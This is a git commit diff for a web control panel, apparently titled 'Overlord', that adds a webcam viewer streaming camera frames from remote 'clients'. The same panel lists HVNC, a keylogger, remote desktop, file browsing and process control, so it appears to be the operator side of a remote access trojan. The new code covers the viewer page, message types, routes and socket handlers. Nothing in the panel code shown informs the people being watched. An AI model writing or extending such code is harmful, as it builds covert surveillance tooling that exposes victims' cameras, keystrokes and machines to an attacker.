webcam
This commit is contained in:
@@ -83,6 +83,9 @@ function applyMenuSupportRules(clientId) {
|
||||
const hvncBtn = menu.querySelector('[data-open="hvnc"]');
|
||||
setAvailability(hvncBtn, isWindows, "HVNC is only supported on Windows clients.");
|
||||
|
||||
const webcamBtn = menu.querySelector('[data-open="webcam"]');
|
||||
setAvailability(webcamBtn, isWindows, "Webcam viewer is only supported on Windows clients.");
|
||||
|
||||
const keyloggerBtn = menu.querySelector('[data-open="keylogger"]');
|
||||
setAvailability(
|
||||
keyloggerBtn,
|
||||
@@ -595,6 +598,11 @@ menu.addEventListener("click", async (e) => {
|
||||
closeMenu(clearContext);
|
||||
return;
|
||||
}
|
||||
if (open === "webcam") {
|
||||
window.open(`/webcam?clientId=${contextCard}`, "_blank", "noopener");
|
||||
closeMenu(clearContext);
|
||||
return;
|
||||
}
|
||||
if (open === "hvnc") {
|
||||
window.open(`/hvnc?clientId=${contextCard}`, "_blank", "noopener");
|
||||
closeMenu(clearContext);
|
||||
|
||||
@@ -7,6 +7,7 @@ menu.innerHTML = `
|
||||
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-emerald-800 bg-emerald-900/50 hover:bg-emerald-800/70 text-emerald-100 flex items-center gap-2" data-open="console"><i class="fa-solid fa-terminal"></i> Open Console</button>
|
||||
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-teal-800 bg-teal-900/45 hover:bg-teal-800/65 text-teal-100 flex items-center gap-2" data-open="voice"><i class="fa-solid fa-headset"></i> Voice Support</button>
|
||||
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-purple-800 bg-purple-900/50 hover:bg-purple-800/70 text-purple-100 flex items-center gap-2" data-open="remotedesktop"><i class="fa-solid fa-desktop"></i> Remote Desktop</button>
|
||||
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-emerald-800 bg-emerald-900/45 hover:bg-emerald-800/65 text-emerald-100 flex items-center gap-2" data-open="webcam"><i class="fa-solid fa-video"></i> Webcam Viewer</button>
|
||||
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-violet-800 bg-violet-900/50 hover:bg-violet-800/70 text-violet-100 flex items-center gap-2" data-open="hvnc"><i class="fa-solid fa-ghost"></i> HVNC</button>
|
||||
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-blue-800 bg-blue-900/50 hover:bg-blue-800/70 text-blue-100 flex items-center gap-2" data-open="files"><i class="fa-solid fa-folder-tree"></i> File Browser</button>
|
||||
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-orange-800 bg-orange-900/50 hover:bg-orange-800/70 text-orange-100 flex items-center gap-2" data-open="processes"><i class="fa-solid fa-list-check"></i> Process Manager</button>
|
||||
|
||||
@@ -0,0 +1,379 @@
|
||||
import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||
|
||||
(function () {
|
||||
const clientId = new URLSearchParams(location.search).get("clientId");
|
||||
if (!clientId) {
|
||||
alert("Missing clientId");
|
||||
return;
|
||||
}
|
||||
|
||||
const clientLabel = document.getElementById("clientLabel");
|
||||
const startBtn = document.getElementById("startBtn");
|
||||
const stopBtn = document.getElementById("stopBtn");
|
||||
const cameraSelect = document.getElementById("cameraSelect");
|
||||
const refreshCameras = document.getElementById("refreshCameras");
|
||||
const fpsInput = document.getElementById("fpsInput");
|
||||
const applyFps = document.getElementById("applyFps");
|
||||
const viewerFps = document.getElementById("viewerFps");
|
||||
const statusEl = document.getElementById("streamStatus");
|
||||
const canvas = document.getElementById("frameCanvas");
|
||||
const ctx = canvas.getContext("2d");
|
||||
|
||||
clientLabel.textContent = clientId;
|
||||
|
||||
let ws = null;
|
||||
let desiredStreaming = false;
|
||||
let streamState = "connecting";
|
||||
let renderCount = 0;
|
||||
let renderWindowStart = performance.now();
|
||||
let videoDecoder = null;
|
||||
let h264TimestampUs = 0;
|
||||
let availableDevices = [];
|
||||
let selectedDeviceIndex = 0;
|
||||
|
||||
function selectedDeviceMaxFps() {
|
||||
const selected = availableDevices.find((dev) => (Number(dev.index) || 0) === selectedDeviceIndex);
|
||||
const max = Number(selected?.maxFps) || 0;
|
||||
return max > 0 ? Math.min(120, max) : 120;
|
||||
}
|
||||
|
||||
function applyFpsInputLimits() {
|
||||
const maxFps = selectedDeviceMaxFps();
|
||||
fpsInput.max = String(maxFps);
|
||||
const current = Number(fpsInput.value) || 30;
|
||||
if (current > maxFps) {
|
||||
fpsInput.value = String(maxFps);
|
||||
}
|
||||
}
|
||||
|
||||
function applyFpsSettings() {
|
||||
if (streamState === "streaming" || streamState === "starting" || streamState === "stopping") {
|
||||
setStreamState("error", "Stop stream before changing FPS");
|
||||
return;
|
||||
}
|
||||
const maxFps = selectedDeviceMaxFps();
|
||||
const fps = Math.max(1, Math.min(maxFps, Number(fpsInput.value) || 30));
|
||||
if ((Number(fpsInput.value) || 30) > maxFps) {
|
||||
fpsInput.value = String(maxFps);
|
||||
setStreamState("idle", `FPS capped to camera max (${maxFps})`);
|
||||
}
|
||||
send("webcam_set_fps", { fps, useMax: false });
|
||||
}
|
||||
|
||||
function requestCameraList() {
|
||||
send("webcam_list");
|
||||
}
|
||||
|
||||
function renderCameraList(devices, selected) {
|
||||
availableDevices = Array.isArray(devices) ? devices : [];
|
||||
cameraSelect.innerHTML = "";
|
||||
if (!availableDevices.length) {
|
||||
const opt = document.createElement("option");
|
||||
opt.value = "0";
|
||||
opt.textContent = "No cameras detected";
|
||||
cameraSelect.appendChild(opt);
|
||||
cameraSelect.disabled = true;
|
||||
return;
|
||||
}
|
||||
cameraSelect.disabled = false;
|
||||
for (const dev of availableDevices) {
|
||||
const idx = Number(dev.index) || 0;
|
||||
const maxFps = Number(dev.maxFps) || 0;
|
||||
const opt = document.createElement("option");
|
||||
opt.value = String(idx);
|
||||
opt.textContent = maxFps > 0
|
||||
? `${dev.name || `Camera ${idx + 1}`} (max ${maxFps} FPS)`
|
||||
: (dev.name || `Camera ${idx + 1}`);
|
||||
cameraSelect.appendChild(opt);
|
||||
}
|
||||
selectedDeviceIndex = Number(selected) || 0;
|
||||
const selectedOpt = Array.from(cameraSelect.options).find((o) => Number(o.value) === selectedDeviceIndex);
|
||||
if (selectedOpt) {
|
||||
cameraSelect.value = selectedOpt.value;
|
||||
} else if (cameraSelect.options.length) {
|
||||
cameraSelect.value = cameraSelect.options[0].value;
|
||||
}
|
||||
selectedDeviceIndex = Number(cameraSelect.value) || 0;
|
||||
applyFpsInputLimits();
|
||||
}
|
||||
|
||||
function isH264KeyFrame(data) {
|
||||
for (let i = 0; i + 4 < data.length; i++) {
|
||||
let startCodeLen = 0;
|
||||
if (data[i] === 0x00 && data[i + 1] === 0x00 && data[i + 2] === 0x01) {
|
||||
startCodeLen = 3;
|
||||
} else if (
|
||||
i + 4 < data.length &&
|
||||
data[i] === 0x00 &&
|
||||
data[i + 1] === 0x00 &&
|
||||
data[i + 2] === 0x00 &&
|
||||
data[i + 3] === 0x01
|
||||
) {
|
||||
startCodeLen = 4;
|
||||
}
|
||||
if (!startCodeLen) continue;
|
||||
const nalIndex = i + startCodeLen;
|
||||
if (nalIndex >= data.length) break;
|
||||
const nalType = data[nalIndex] & 0x1f;
|
||||
if (nalType === 5) {
|
||||
return true;
|
||||
}
|
||||
i = nalIndex;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
function destroyVideoDecoder() {
|
||||
if (!videoDecoder) return;
|
||||
try {
|
||||
videoDecoder.close();
|
||||
} catch {}
|
||||
videoDecoder = null;
|
||||
}
|
||||
|
||||
function ensureVideoDecoder() {
|
||||
if (videoDecoder) return true;
|
||||
if (typeof VideoDecoder !== "function") return false;
|
||||
try {
|
||||
videoDecoder = new VideoDecoder({
|
||||
output: (frame) => {
|
||||
const width = frame.displayWidth || frame.codedWidth || canvas.width;
|
||||
const height = frame.displayHeight || frame.codedHeight || canvas.height;
|
||||
if (width > 0 && height > 0 && (canvas.width !== width || canvas.height !== height)) {
|
||||
canvas.width = width;
|
||||
canvas.height = height;
|
||||
}
|
||||
try {
|
||||
ctx.drawImage(frame, 0, 0, canvas.width, canvas.height);
|
||||
} finally {
|
||||
frame.close();
|
||||
}
|
||||
},
|
||||
error: (err) => {
|
||||
console.warn("webcam h264 decoder error", err);
|
||||
},
|
||||
});
|
||||
videoDecoder.configure({ codec: "avc1.42E01E", optimizeForLatency: true });
|
||||
h264TimestampUs = 0;
|
||||
return true;
|
||||
} catch (err) {
|
||||
console.warn("webcam h264 decoder unavailable", err);
|
||||
destroyVideoDecoder();
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
function setStreamState(state, text) {
|
||||
streamState = state;
|
||||
const icons = {
|
||||
connecting: '<i class="fa-solid fa-circle-notch fa-spin"></i>',
|
||||
starting: '<i class="fa-solid fa-circle-notch fa-spin"></i>',
|
||||
stopping: '<i class="fa-solid fa-circle-notch fa-spin"></i>',
|
||||
streaming: '<i class="fa-solid fa-circle text-emerald-400"></i>',
|
||||
idle: '<i class="fa-solid fa-circle text-slate-400"></i>',
|
||||
offline: '<i class="fa-solid fa-plug-circle-xmark text-rose-400"></i>',
|
||||
disconnected: '<i class="fa-solid fa-link-slash text-slate-400"></i>',
|
||||
error: '<i class="fa-solid fa-circle-exclamation text-rose-400"></i>',
|
||||
};
|
||||
const label = text ||
|
||||
(state === "streaming" ? "Streaming" :
|
||||
state === "starting" ? "Starting" :
|
||||
state === "stopping" ? "Stopping" :
|
||||
state === "offline" ? "Client offline" :
|
||||
state === "disconnected" ? "Disconnected" :
|
||||
state === "error" ? "Error" :
|
||||
"Stopped");
|
||||
|
||||
statusEl.innerHTML = `${icons[state] || icons.idle} <span>${label}</span>`;
|
||||
|
||||
const wsOpen = ws && ws.readyState === WebSocket.OPEN;
|
||||
const streamLocked = streamState === "streaming" || streamState === "starting" || streamState === "stopping";
|
||||
startBtn.disabled = !wsOpen || streamState === "starting" || streamState === "streaming";
|
||||
stopBtn.disabled = !wsOpen || (streamState !== "starting" && streamState !== "streaming");
|
||||
refreshCameras.disabled = !wsOpen;
|
||||
applyFps.disabled = !wsOpen || streamLocked;
|
||||
fpsInput.disabled = !wsOpen || streamLocked;
|
||||
|
||||
if (state === "idle" || state === "offline" || state === "disconnected" || state === "error") {
|
||||
viewerFps.textContent = "--";
|
||||
renderCount = 0;
|
||||
renderWindowStart = performance.now();
|
||||
}
|
||||
}
|
||||
|
||||
function updateViewerFps() {
|
||||
const now = performance.now();
|
||||
renderCount += 1;
|
||||
const elapsed = now - renderWindowStart;
|
||||
if (elapsed >= 1000) {
|
||||
viewerFps.textContent = String(Math.round((renderCount * 1000) / elapsed));
|
||||
renderCount = 0;
|
||||
renderWindowStart = now;
|
||||
}
|
||||
}
|
||||
|
||||
async function drawJpeg(bytes) {
|
||||
const blob = new Blob([bytes], { type: "image/jpeg" });
|
||||
const bitmap = await createImageBitmap(blob);
|
||||
canvas.width = bitmap.width;
|
||||
canvas.height = bitmap.height;
|
||||
ctx.drawImage(bitmap, 0, 0, bitmap.width, bitmap.height);
|
||||
bitmap.close();
|
||||
updateViewerFps();
|
||||
setStreamState("streaming", "Streaming");
|
||||
}
|
||||
|
||||
function handleFrame(data) {
|
||||
const bytes = new Uint8Array(data);
|
||||
if (bytes.length < 8) return;
|
||||
if (bytes[0] !== 0x46 || bytes[1] !== 0x52 || bytes[2] !== 0x4d) return;
|
||||
const format = bytes[6];
|
||||
const payload = bytes.slice(8);
|
||||
if (!payload.length) return;
|
||||
if (format === 1) {
|
||||
drawJpeg(payload).catch((err) => {
|
||||
console.warn("webcam draw failed", err, "payloadBytes=", payload.length);
|
||||
});
|
||||
return;
|
||||
}
|
||||
if (format === 4) {
|
||||
if (!ensureVideoDecoder()) {
|
||||
setStreamState("error", "H264 decoder unavailable in browser");
|
||||
return;
|
||||
}
|
||||
try {
|
||||
const isKey = isH264KeyFrame(payload);
|
||||
const chunk = new EncodedVideoChunk({
|
||||
type: isKey ? "key" : "delta",
|
||||
timestamp: h264TimestampUs,
|
||||
data: payload,
|
||||
});
|
||||
h264TimestampUs += 66_666;
|
||||
videoDecoder.decode(chunk);
|
||||
updateViewerFps();
|
||||
setStreamState("streaming", "Streaming");
|
||||
} catch (err) {
|
||||
console.warn("webcam h264 decode failed", err, "payloadBytes=", payload.length);
|
||||
}
|
||||
return;
|
||||
}
|
||||
console.warn("webcam unsupported frame format", format, "payloadBytes=", payload.length);
|
||||
}
|
||||
|
||||
function send(type, payload = {}) {
|
||||
if (!ws || ws.readyState !== WebSocket.OPEN) return;
|
||||
ws.send(encodeMsgpack({ type, ...payload }));
|
||||
}
|
||||
|
||||
function handleControlMessage(msg) {
|
||||
if (!msg || typeof msg !== "object") return;
|
||||
if (msg.type === "webcam_devices") {
|
||||
renderCameraList(msg.devices, msg.selected);
|
||||
return;
|
||||
}
|
||||
if (msg.type === "ready") {
|
||||
setStreamState("idle", "Ready");
|
||||
return;
|
||||
}
|
||||
if (msg.type === "status") {
|
||||
if (msg.status === "offline") {
|
||||
desiredStreaming = false;
|
||||
setStreamState("offline", msg.reason || "Client offline");
|
||||
} else if (msg.status === "connecting") {
|
||||
setStreamState("idle", "Ready");
|
||||
} else if (msg.status === "online") {
|
||||
setStreamState("idle", "Ready");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function connect() {
|
||||
const protocol = location.protocol === "https:" ? "wss://" : "ws://";
|
||||
ws = new WebSocket(`${protocol}${location.host}/api/clients/${clientId}/webcam/ws`);
|
||||
ws.binaryType = "arraybuffer";
|
||||
setStreamState("connecting", "Connecting");
|
||||
|
||||
ws.onopen = () => {
|
||||
requestCameraList();
|
||||
applyFpsSettings();
|
||||
if (desiredStreaming) {
|
||||
send("webcam_start");
|
||||
setStreamState("starting", "Starting");
|
||||
} else {
|
||||
setStreamState("idle", "Stopped");
|
||||
}
|
||||
};
|
||||
|
||||
ws.onmessage = (event) => {
|
||||
if (event.data instanceof ArrayBuffer) {
|
||||
const bytes = new Uint8Array(event.data);
|
||||
if (bytes.length >= 4 && bytes[0] === 0x46 && bytes[1] === 0x52 && bytes[2] === 0x4d) {
|
||||
handleFrame(event.data);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
const msg = decodeMsgpack(event.data);
|
||||
handleControlMessage(msg);
|
||||
};
|
||||
|
||||
ws.onclose = () => {
|
||||
setStreamState("disconnected", "Disconnected");
|
||||
setTimeout(connect, 3000);
|
||||
};
|
||||
|
||||
ws.onerror = () => {
|
||||
setStreamState("error", "Connection error");
|
||||
};
|
||||
}
|
||||
|
||||
startBtn.addEventListener("click", () => {
|
||||
desiredStreaming = true;
|
||||
applyFpsSettings();
|
||||
send("webcam_start");
|
||||
setStreamState("starting", "Starting");
|
||||
});
|
||||
|
||||
stopBtn.addEventListener("click", () => {
|
||||
desiredStreaming = false;
|
||||
send("webcam_stop");
|
||||
setStreamState("stopping", "Stopping");
|
||||
setTimeout(() => {
|
||||
if (streamState === "stopping") {
|
||||
setStreamState("idle", "Stopped");
|
||||
}
|
||||
}, 300);
|
||||
});
|
||||
|
||||
window.addEventListener("beforeunload", () => {
|
||||
if (ws && ws.readyState === WebSocket.OPEN) {
|
||||
send("webcam_stop");
|
||||
}
|
||||
destroyVideoDecoder();
|
||||
});
|
||||
|
||||
refreshCameras.addEventListener("click", () => {
|
||||
requestCameraList();
|
||||
});
|
||||
|
||||
cameraSelect.addEventListener("change", () => {
|
||||
const index = Number(cameraSelect.value) || 0;
|
||||
selectedDeviceIndex = index;
|
||||
applyFpsInputLimits();
|
||||
send("webcam_select", { index });
|
||||
});
|
||||
|
||||
fpsInput.addEventListener("input", () => {
|
||||
const maxFps = selectedDeviceMaxFps();
|
||||
const val = Number(fpsInput.value);
|
||||
if (Number.isFinite(val) && val > maxFps) {
|
||||
fpsInput.value = String(maxFps);
|
||||
}
|
||||
});
|
||||
|
||||
applyFps.addEventListener("click", () => {
|
||||
applyFpsSettings();
|
||||
});
|
||||
|
||||
connect();
|
||||
})();
|
||||
@@ -0,0 +1,105 @@
|
||||
<!doctype html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<title>Overlord Webcam Viewer</title>
|
||||
<link rel="icon" type="image/x-icon" href="/assets/favicon.ico" />
|
||||
<link rel="preconnect" href="https://fonts.googleapis.com" />
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600;700&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link rel="stylesheet" href="/assets/tailwind.css" />
|
||||
<link
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css"
|
||||
crossorigin="anonymous"
|
||||
referrerpolicy="no-referrer"
|
||||
/>
|
||||
<link rel="stylesheet" href="/assets/main.css" />
|
||||
<link rel="stylesheet" href="/assets/console.css" />
|
||||
<script src="/assets/logout.js"></script>
|
||||
</head>
|
||||
<body class="min-h-screen bg-slate-950 text-slate-100">
|
||||
<header id="top-nav"></header>
|
||||
|
||||
<main class="px-5 py-6 flex-1 flex flex-col">
|
||||
<div class="flex-1 flex flex-col gap-4" style="max-width: 100%">
|
||||
<div class="flex flex-wrap gap-3 items-center">
|
||||
<div
|
||||
class="bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 flex items-center gap-3"
|
||||
>
|
||||
<label class="text-sm text-slate-300" for="cameraSelect">Camera</label>
|
||||
<select
|
||||
id="cameraSelect"
|
||||
class="bg-slate-800 border border-slate-700 rounded px-2 py-1 text-slate-100 min-w-56"
|
||||
></select>
|
||||
<button id="refreshCameras" class="button ghost">
|
||||
<i class="fa-solid fa-rotate"></i><span>Refresh</span>
|
||||
</button>
|
||||
</div>
|
||||
<div
|
||||
class="bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 flex items-center gap-3 text-sm text-slate-300"
|
||||
>
|
||||
<label class="flex items-center gap-2 text-slate-200" for="fpsInput">
|
||||
<span>FPS</span>
|
||||
<input id="fpsInput" type="number" min="1" max="120" value="30" class="bg-slate-800 border border-slate-700 rounded px-2 py-1 w-20 text-slate-100" />
|
||||
</label>
|
||||
<button id="applyFps" class="button ghost">
|
||||
<i class="fa-solid fa-sliders"></i><span>Apply</span>
|
||||
</button>
|
||||
</div>
|
||||
<div class="flex items-center gap-2">
|
||||
<button id="startBtn" class="button primary">
|
||||
<i class="fa-solid fa-play"></i><span>Start</span>
|
||||
</button>
|
||||
<button id="stopBtn" class="button ghost">
|
||||
<i class="fa-solid fa-stop"></i><span>Stop</span>
|
||||
</button>
|
||||
</div>
|
||||
<div
|
||||
id="streamStatus"
|
||||
class="inline-flex items-center gap-2 px-3 py-2 rounded-full bg-slate-800 text-slate-300 border border-slate-700 text-sm"
|
||||
>
|
||||
<i class="fa-solid fa-circle-notch fa-spin"></i>
|
||||
<span>Connecting</span>
|
||||
</div>
|
||||
<div
|
||||
class="flex items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm text-slate-300"
|
||||
>
|
||||
<span class="uppercase tracking-wide text-xs text-slate-500">fps</span>
|
||||
<span id="viewerFps" class="pill pill-ghost font-mono text-sky-200">--</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div
|
||||
id="canvasContainer"
|
||||
class="flex-1 rounded-xl border border-slate-800 bg-slate-900/70 shadow-lg overflow-hidden flex flex-col"
|
||||
style="min-height: 500px"
|
||||
>
|
||||
<div class="p-3 text-sm text-slate-400 flex-shrink-0">
|
||||
Client: <span id="clientLabel" class="text-slate-100">-</span>
|
||||
</div>
|
||||
<div
|
||||
class="flex-1 flex items-center justify-center p-4"
|
||||
style="min-height: 0; overflow: hidden"
|
||||
>
|
||||
<canvas
|
||||
id="frameCanvas"
|
||||
class="bg-slate-950"
|
||||
width="1280"
|
||||
height="720"
|
||||
style="display: block; max-width: 100%; max-height: 100%; width: auto; height: auto;"
|
||||
></canvas>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</main>
|
||||
|
||||
<script src="https://cdn.jsdelivr.net/npm/msgpackr@1.11.8/dist/index.js"></script>
|
||||
<script type="module" src="/assets/nav.js"></script>
|
||||
<script type="module" src="/assets/webcam.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -72,6 +72,9 @@ import {
|
||||
handleConsoleViewerOpen,
|
||||
handleHVNCViewerMessage,
|
||||
handleHVNCViewerOpen,
|
||||
handleWebcamViewerMessage,
|
||||
handleWebcamViewerOpen,
|
||||
handleWebcamDevices,
|
||||
handleRemoteDesktopViewerMessage,
|
||||
handleRemoteDesktopViewerOpen,
|
||||
hvncStreamingState,
|
||||
@@ -79,6 +82,7 @@ import {
|
||||
notifyRdInputLatency,
|
||||
notifyRemoteDesktopStatus,
|
||||
rdStreamingState,
|
||||
webcamStreamingState,
|
||||
sendDesktopCommand,
|
||||
sendHVNCCommand,
|
||||
stopConsoleOnTarget,
|
||||
@@ -238,7 +242,7 @@ const notificationPluginHandlers = createNotificationPluginHandlers({
|
||||
savePluginState,
|
||||
});
|
||||
|
||||
type SocketRole = ClientRole | "console_viewer" | "rd_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "proxy_viewer" | "notifications_viewer";
|
||||
type SocketRole = ClientRole | "console_viewer" | "rd_viewer" | "webcam_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "proxy_viewer" | "notifications_viewer";
|
||||
|
||||
type PendingScript = {
|
||||
resolve: (result: any) => void;
|
||||
@@ -358,9 +362,11 @@ async function startServer() {
|
||||
pendingCommandReplies,
|
||||
rdStreamingState,
|
||||
hvncStreamingState,
|
||||
webcamStreamingState,
|
||||
getNotificationConfig,
|
||||
handleConsoleViewerOpen,
|
||||
handleRemoteDesktopViewerOpen,
|
||||
handleWebcamViewerOpen,
|
||||
handleHVNCViewerOpen,
|
||||
handleFileBrowserViewerOpen,
|
||||
handleProcessViewerOpen,
|
||||
@@ -370,6 +376,7 @@ async function startServer() {
|
||||
handleNotificationViewerOpen: notificationPluginHandlers.handleNotificationViewerOpen,
|
||||
handleConsoleViewerMessage,
|
||||
handleRemoteDesktopViewerMessage,
|
||||
handleWebcamViewerMessage,
|
||||
handleHVNCViewerMessage,
|
||||
handleFileBrowserViewerMessage,
|
||||
handleProcessViewerMessage,
|
||||
@@ -395,6 +402,7 @@ async function startServer() {
|
||||
handlePluginEvent: notificationPluginHandlers.handlePluginEvent,
|
||||
handleNotification: notificationPluginHandlers.handleNotification,
|
||||
handleVoiceUplink,
|
||||
handleWebcamDevices,
|
||||
cleanupVoiceViewer,
|
||||
stopConsoleOnTarget,
|
||||
sendDesktopCommand,
|
||||
|
||||
@@ -12,6 +12,7 @@ export type MessageKind =
|
||||
| "status"
|
||||
| "plugin_event"
|
||||
| "notification"
|
||||
| "webcam_devices"
|
||||
| "notification_config";
|
||||
|
||||
export type Hello = {
|
||||
@@ -43,6 +44,11 @@ export type CommandType =
|
||||
| "input"
|
||||
| "remote_start"
|
||||
| "remote_stop"
|
||||
| "webcam_start"
|
||||
| "webcam_stop"
|
||||
| "webcam_list"
|
||||
| "webcam_select"
|
||||
| "webcam_set_fps"
|
||||
| "disconnect"
|
||||
| "reconnect"
|
||||
| "screenshot"
|
||||
@@ -108,6 +114,7 @@ export type FrameHeader = {
|
||||
format: "jpeg" | "webp" | "raw" | "h264";
|
||||
hash?: string;
|
||||
hvnc?: boolean;
|
||||
webcam?: boolean;
|
||||
};
|
||||
|
||||
export type Frame = { type: "frame"; header: FrameHeader; data: Uint8Array };
|
||||
@@ -116,6 +123,18 @@ export type Status = {
|
||||
state: "idle" | "streaming" | "error";
|
||||
detail?: string;
|
||||
};
|
||||
|
||||
export type WebcamDevice = {
|
||||
index: number;
|
||||
name: string;
|
||||
maxFps?: number;
|
||||
};
|
||||
|
||||
export type WebcamDevices = {
|
||||
type: "webcam_devices";
|
||||
devices: WebcamDevice[];
|
||||
selected: number;
|
||||
};
|
||||
export type ConsoleOutput = {
|
||||
type: "console_output";
|
||||
sessionId: string;
|
||||
|
||||
@@ -88,6 +88,30 @@ export async function handlePageRoutes(
|
||||
}
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/webcam") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return serveLoginOrUnauthorized(deps);
|
||||
}
|
||||
|
||||
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
|
||||
if (maybeChange) return maybeChange;
|
||||
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||
}
|
||||
|
||||
const clientId = (url.searchParams.get("clientId") || "").trim();
|
||||
if (!canAccessClientPage(user.userId, user.role, clientId)) {
|
||||
return new Response("Forbidden: Client access denied", { status: 403 });
|
||||
}
|
||||
|
||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/webcam.html`);
|
||||
if (await file.exists()) {
|
||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("webcam.html")) });
|
||||
}
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/hvnc") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
|
||||
@@ -29,9 +29,11 @@ type WsLifecycleDeps = {
|
||||
pendingCommandReplies: Map<string, PendingCommandReply>;
|
||||
rdStreamingState: Map<string, unknown>;
|
||||
hvncStreamingState: Map<string, unknown>;
|
||||
webcamStreamingState: Map<string, unknown>;
|
||||
getNotificationConfig: () => { keywords?: string[]; minIntervalMs?: number };
|
||||
handleConsoleViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleRemoteDesktopViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleWebcamViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleHVNCViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleFileBrowserViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleProcessViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
@@ -41,6 +43,7 @@ type WsLifecycleDeps = {
|
||||
handleNotificationViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleConsoleViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleRemoteDesktopViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleWebcamViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleHVNCViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleFileBrowserViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleProcessViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
@@ -67,6 +70,7 @@ type WsLifecycleDeps = {
|
||||
handlePluginEvent: (clientId: string, payload: any) => void;
|
||||
handleNotification: (clientId: string, payload: any) => void;
|
||||
handleVoiceUplink: (clientId: string, payload: any) => void;
|
||||
handleWebcamDevices: (clientId: string, payload: any) => void;
|
||||
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
|
||||
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
|
||||
sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
|
||||
@@ -82,6 +86,7 @@ export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLif
|
||||
const ip = ws.data.ip;
|
||||
if (role === "console_viewer") return deps.handleConsoleViewerOpen(ws);
|
||||
if (role === "rd_viewer") return deps.handleRemoteDesktopViewerOpen(ws);
|
||||
if (role === "webcam_viewer") return deps.handleWebcamViewerOpen(ws);
|
||||
if (role === "hvnc_viewer") return deps.handleHVNCViewerOpen(ws);
|
||||
if (role === "file_browser_viewer") return deps.handleFileBrowserViewerOpen(ws);
|
||||
if (role === "process_viewer") return deps.handleProcessViewerOpen(ws);
|
||||
@@ -140,6 +145,7 @@ export function handleWebSocketMessage(
|
||||
const socketRole = ws.data.role as string;
|
||||
if (socketRole === "console_viewer") return deps.handleConsoleViewerMessage(ws, message);
|
||||
if (socketRole === "rd_viewer") return deps.handleRemoteDesktopViewerMessage(ws, message);
|
||||
if (socketRole === "webcam_viewer") return deps.handleWebcamViewerMessage(ws, message);
|
||||
if (socketRole === "hvnc_viewer") return deps.handleHVNCViewerMessage(ws, message);
|
||||
if (socketRole === "file_browser_viewer") return deps.handleFileBrowserViewerMessage(ws, message);
|
||||
if (socketRole === "process_viewer") return deps.handleProcessViewerMessage(ws, message);
|
||||
@@ -285,6 +291,9 @@ export function handleWebSocketMessage(
|
||||
case "voice_uplink":
|
||||
deps.handleVoiceUplink(info.id, payload);
|
||||
break;
|
||||
case "webcam_devices":
|
||||
deps.handleWebcamDevices(info.id, payload);
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
@@ -332,6 +341,26 @@ export function handleWebSocketClose(
|
||||
return;
|
||||
}
|
||||
|
||||
if (role === "webcam_viewer") {
|
||||
let removedClientId = clientId;
|
||||
for (const [sid, sess] of sessionManager.getAllWebcamSessions().entries()) {
|
||||
if (sess.viewer === ws) {
|
||||
removedClientId = sess.clientId;
|
||||
sessionManager.getAllWebcamSessions().delete(sid);
|
||||
break;
|
||||
